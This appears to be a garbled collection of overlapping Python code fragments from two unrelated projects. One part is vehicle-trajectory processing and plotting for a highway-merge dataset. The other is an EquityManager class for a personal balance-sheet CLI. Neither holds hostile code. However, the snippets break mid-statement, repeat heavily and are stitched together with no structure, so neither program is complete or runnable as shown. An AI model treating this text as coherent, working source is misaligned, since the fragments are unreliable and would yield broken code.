in range(1, T): current_data_matrix[j,0] = i", "Return a data matrix with 0.1s per time step data.", "edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y)", "= car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4]", "function is to plot vehicle trajectories with bounding boxes. \"\"\"", "- mainlane) 12 relative_long_distance (merge - mainlane) 13 car1_yaw 14", "# print('i = '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] == i)]", "current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] =", "(current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, # width 1.8, # height", "relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge - mainlane) 12", "color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix", "temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0)", "data_process(): \"\"\" This function serves to concatenate the information of", "temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape)", "1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1))", "data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1]))", "np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ###############################################", "elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return data def", "i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0)", "= car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8]", "current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] =", "plot vehicle trajectories with bounding boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)]", "current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4]", "== 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] ==", "12 relative_long_distance (merge - mainlane) 13 car1_yaw 14 car2_yaw 15", "/ float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0,", "= np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1,", "if i % 10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0)", "0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt',", "def data_process(): \"\"\" This function serves to concatenate the information", "= car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11]", "= np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): \"\"\" This function", "acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration') # plt.legend()", "[] # for i in range(128): # print('i = '+str(i))", "= 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9]", "bounding boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig", "elif i>=100: name = str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch(", "matplotlib as mpl import matplotlib.patches as patches def load_data(file_name, car_flag):", "= plt.figure(figsize=(20,2)) for i in range(T): if i<10: name='00'+str(i) elif", "i<100: name = '0'+str(i) elif i>=100: name = str(i) ax", "= get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0])", "= data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f')", "data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0,", "plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show()", "np.zeros((T,16)) for j in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1]", "(x,y) 4.0, # width 1.8, # height alpha = 0.3", "float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9),", "print('i = '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] == i)] #", "= str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9),", "name = '0'+str(i) elif i>=100: name = str(i) ax =" ]
[ "equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity", "relevant_mos = self.uns.request_int(\"Number of past months: \") account = dsvca.account_by_name(accountName)", "equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year", "year = self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month: \") value =", "self.uns = user_notification_system def add_equity(self): name = self.uns.request_string(\"Name: \") description", "self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass", "accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of", "Exception(f\"Unknown equity class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate: \") equityTimeHorizon", "self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities is", "[{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities Snapshots\") def print_equities(self):", "= self.uns.request_int(\"Number of past months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account", "self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass,", "account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is", "self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\")", "= self.uns.request_float(\"Interest Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus)", "plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of past months: \") accountName =", "\") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency)", "dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None: raise Exception(f\"Equity: {accountName} [{account.id}],", "dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None: raise", "x.equityType), title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName", "EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity class: {equityClass.name}\")", "= dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities is None or", "if equities is None or len(equities) == 0: self.uns.notify_user(f\"No Equities", "print_value_snapshots(self, accountName=None): if accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account", "found.\") value = dsvce.record_value_on_equity(equity, year, month, value) if value is", "= self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value:", "title=\"Equities\") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of", "equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description,", "= dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None: raise Exception(f\"Equity: {accountName}", "= self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity class: {equityClass.name}\") interestRate =", "EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self):", "import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType,", "import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as", "month = self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value: \") account =", "equityClass = self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType)", "dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if", "relevant_mos = self.uns.request_int(\"Number of past months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "interestRate = self.uns.request_float(\"Interest Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus =", "account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities Snapshots\") def", "value = dsvce.record_value_on_equity(equity, year, month, value) if value is not", "if equity is not None: self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self):", "print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos =", "self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus,", "equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency,", "def add_equity(self): name = self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description: \")", "__init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name =", "self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest", "from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self):", "dsvce.equities_by_account(account.id) if equities is None or len(equities) == 0: self.uns.notify_user(f\"No", "plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None: self.uns.notify_user(\"No Data to show...\")", "= self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if", "def print_value_snapshots(self, accountName=None): if accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "== 0: self.uns.notify_user(f\"No Equities in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda", "None: raise Exception(f\"Equity: {accountName} [{account.id}], {equityName} not found.\") value =", "not None: self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "add_equity(self): name = self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description: \") accountName", "not None: self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self, accountName=None): if accountName", "dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if", "past months: \") account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)])", "Exception(f\"Equity: {accountName} [{account.id}], {equityName} not found.\") value = dsvce.record_value_on_equity(equity, year,", "past months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax", "{accountName} [{account.id}], {equityName} not found.\") value = dsvce.record_value_on_equity(equity, year, month,", "account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data)", "= dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos =", "in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities Snapshots\")", "plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system", "self.uns.request_int(\"Number of past months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account =", "equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY:", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \")", "{equityName} not found.\") value = dsvce.record_value_on_equity(equity, year, month, value) if", "delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def", "= self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName)", "user_notification_system def add_equity(self): name = self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description:", "self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass", "= self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity =", "interestRate=interestRate) if equity is not None: self.uns.notify_user(\"Equity entered successfully!\") def", "equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "equity is not None: self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self): accountName", "entered successfully!\") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict())", "AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot class", "not found.\") value = dsvce.record_value_on_equity(equity, year, month, value) if value", "is None or len(equities) == 0: self.uns.notify_user(f\"No Equities in account", "equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity class: {equityClass.name}\") interestRate", "self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName =", "self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass", "self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName =", "equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not", "value = self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id),", "balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as", "self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month: \") value", "EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot class EquityManager(): def", "class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon)", "if accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName)", "== EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType", "x: x.equityType), title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self):", "= dsvce.record_value_on_equity(equity, year, month, value) if value is not None:", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName", "is None: raise Exception(f\"Equity: {accountName} [{account.id}], {equityName} not found.\") value", "= user_notification_system def add_equity(self): name = self.uns.request_string(\"Name: \") description =", "of past months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName)", "Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency =", "\") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass ==", "= self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month: \")", "self.uns.notify_user(f\"No Equities in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType),", "dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self):", "self.uns.request_float(\"Interest Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency", "None: self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName", "EquityStatus, EquityContingency import plotter as plot class EquityManager(): def __init__(self,", "months: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax =", "= self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id),", "equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)])", "accountName=None): if accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account =", "import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass,", "value is not None: self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self, accountName=None):", "accountName is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities", "def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year =", "self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName) equity", "user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name = self.uns.request_string(\"Name:", "self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self, accountName=None): if accountName is None:", "= dsvce.equities_by_account(account.id) if equities is None or len(equities) == 0:", "plotter as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns", "self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of past", "\") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos,", "userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import", "equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not None: self.uns.notify_user(\"Equity entered", "= self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "Equities in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities", "EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType =", "= self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon,", "accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is", "successfully!\") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id,", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if", "Recorded successfully!\") def print_value_snapshots(self, accountName=None): if accountName is None: accountName", "EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot", "= dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None:", "is None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities =", "data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos", "== EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown equity class:", "title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName =", "= dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None:", "equityContingency=equityContingency, interestRate=interestRate) if equity is not None: self.uns.notify_user(\"Equity entered successfully!\")", "0: self.uns.notify_user(f\"No Equities in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities, key=lambda x:", "None: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id)", "self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of past months: \")", "self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if", "<reponame>tylertjburns/ledgerkeeper<gh_stars>0 import balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import", "\") month = self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value: \") account", "dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from", "= self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif", "or len(equities) == 0: self.uns.notify_user(f\"No Equities in account [{accountName}]\") return", "self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax", "EquityContingency import plotter as plot class EquityManager(): def __init__(self, user_notification_system:", "as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns =", "self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of past months: \") account =", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of past months: \") account", "self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET:", "ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon,", "\") description = self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass =", "FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType,", "description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity", "dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict())", "if value is not None: self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self,", "account = dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is", "dsvca.account_by_name(accountName) ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None: self.uns.notify_user(\"No", "accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of past months: \")", "LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot class EquityManager():", "import plotter as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction):", "equity is None: raise Exception(f\"Equity: {accountName} [{account.id}], {equityName} not found.\")", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \") month", "equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month:", "Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())", "self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number", "= self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else:", "successfully!\") def print_value_snapshots(self, accountName=None): if accountName is None: accountName =", "elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f\"Unknown", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities", "equities = dsvce.equities_by_account(account.id) if equities is None or len(equities) ==", "{equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate: \") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus", "month, value) if value is not None: self.uns.notify_user(\"Value Recorded successfully!\")", "= self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType", "self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName =", "self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass == 